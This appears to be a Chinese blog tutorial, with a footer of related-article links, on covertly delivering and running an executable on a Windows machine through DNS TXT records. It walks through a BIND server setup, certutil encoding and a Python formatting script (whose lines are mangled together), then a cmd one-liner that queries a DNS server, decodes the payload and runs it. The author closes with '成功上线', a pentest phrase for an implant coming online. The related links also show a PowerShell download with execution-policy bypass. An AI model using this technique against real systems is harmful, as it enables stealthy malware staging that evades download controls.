windows远程下载的新方案
文章目录
- 1. 搭建dns服务器
- 2. 将要下载的文件转化格式
- 3. 将数据输入到dns服务器中
- 4. 下载文件并执行
- 5. 参考文章
因为udp包最大只有65535byte,所以:
只能传递66k以下的文件
只能传递66k以下的文件
只能传递66k以下的文件
1. 搭建dns服务器
yum -y update
yum -y install bind bind-chroot bind-utils
vim /etc/named.conf
并添加 forwarders { 8.8.8.8; };
,最终如下:
修改/etc/named.rfc1912.zones
文件
vim /etc/named.rfc1912.zones
我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 baidu.com.zone,然后编辑文件并添加数据。
cp -a /var/named/named.localhost /var/named/baidu.com.zone
vim /var/named/baidu.com.zone
然后启动dns服务并关闭防火墙:
systemctl start named
systemctl stop firewalld
然后再另一台主机上使用,192.168.171.141是刚才配置的dns服务器的ip:
nslookup -q=txt www.baidu.com 192.168.171.141
2. 将要下载的文件转化格式
首先将文件转化成二进制格式:
certutil -encode whoami.exe a.txt
用下面的脚本将生成的数据进行格式化,每一行前面加上"exec
,结尾加上"
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Shanfenglan
# datetime:2021/12/13 9:55 PM
# In god's hands.b = ''
with open("1.txt","r") as f:for i in f:i = "\"exec"+i.strip()+"\""+"\n"b+=iwith open("2.txt","w+") as f:f.write(b)
更改后格式如下:
3. 将数据输入到dns服务器中
将上面的数据输入到括号中:
然后重启named服务:
4. 下载文件并执行
在windows机器上执行下面的命令:
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 192.168.171.141 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe
成功上线。
5. 参考文章
https://mp.weixin.qq.com/s/pxKmEO3_ljWSW7WhNQbSzQ
windows远程下载的新方案相关推荐
- windows远程下载
文章目录 windows远程下载 windows远程下载 powershell -exec bypass -c (new-object System.Net.WebClient).downloadfi ...
- 巨控PLC远程下载调试最新方案
巨控PLC远程下载调试最新方案 巨控李工:13247333261 核心技术之一:巨控远程下载机制 巨控李工:13247333261 巨控科技搭建了业内先进的PLC远程实验室,购买了市面上几乎全部主流的 ...
- 四章: CentOS6.5 配置连接Windows远程桌面、创建新用户、禁用root在本地或远程使用ssh登录
1,配置连接Windows远程桌面 yum -y install freerdp xfreerdp -g 800x600 -u administrator 192.168.31.13 2,rz.sz ...
- windows远程连接linux-安装xfce界面,ubuntn添加新用户
参考:" 使用xrdp实现windows 远程桌面连接linux" http://blog.csdn.net/qq_33530388/article/details/64502 ...
- 如何用极路由新插件【搜狐视频】进行远程下载
本文播放器家园网小编给大家分享如何用极路由新插件[搜狐视频]进行远程下载,如果大家在使用搜狐视频过程当中遇到类似问题,欢迎阅读本文!此外,在搜狐视频视频播放器上观看更流畅,画质更清晰,拒绝卡慢钝,而且 ...
- windows下安装wget进行远程下载
windows下安装wget进行远程下载 学习记录: 1.下载wget安装包 https://jaist.dl.sourceforge.net/project/gnuwin32/wget ...
- Windows命令之bitsadmin.exe远程下载
下载: (1)bitsadmin.exe本身被Windows系统支持,无需下载. 执行如下命令可下载http://127.0.0.1:8080/Down/test.txt至C:\Users\hao\D ...
- Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案
Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案. 安装起来相当的简单,简单到只需要执行一行命令即可完成.使得游戏和开发可以兼顾,并且不用花费数万米的可以使用M ...
- Aria2远程下载方案部署(CentOS7+Aria+AriaNG+Nginx)
操作系统为Centos7 aria2安装 首先安装最新的epel源 yum install epel-release 然后安装aria2 yum install aria2 配置aira2 mkdir ...
最新文章
- 成功解决AttributeError: module ‘tensorflow‘ has no attribute ‘contrib‘
- C语言 do while 和 while 循环 - C语言零基础入门教程
- 合法整数集(51Nod-1315)
- 华为手机连接电脑用什么软件_屏幕镜像怎么连接电脑?使用这款软件,轻松投屏苹果手机到电脑...
- Eclipse中Mybatis的自动提示的配置
- 获得当前时间,刻度为一千分一秒
- vagrant 网络三种模式
- uinttest 异步多线程生成测试报告
- 火狐扩展程序推荐_使用Firefox的RIP扩展程序自定义Web
- 一个正经的前端学习 开源 仓库(阶段二十六)
- 批量调取接口_调用API接口批量查手机归属地
- android在线图标生成工具,图标在线生成工具Android Asset Studio的使用
- hdmi接口线_视频接口与视频线详解!
- 【论文笔记】Question Answering over Freebase with Multi-Column Convolutional Neural Networks
- excel链接到另一个工作表的指定位置
- 平面波导型光分路器行业调研报告 - 市场现状分析与发展前景预测
- IT史记:愤怒的杰里·桑德斯
- 初次BERT使用者的可视化指南
- scrapy框架爬取王者荣耀英雄数据
- 海鸥算法的改进及其在工程设计优化问题中的应用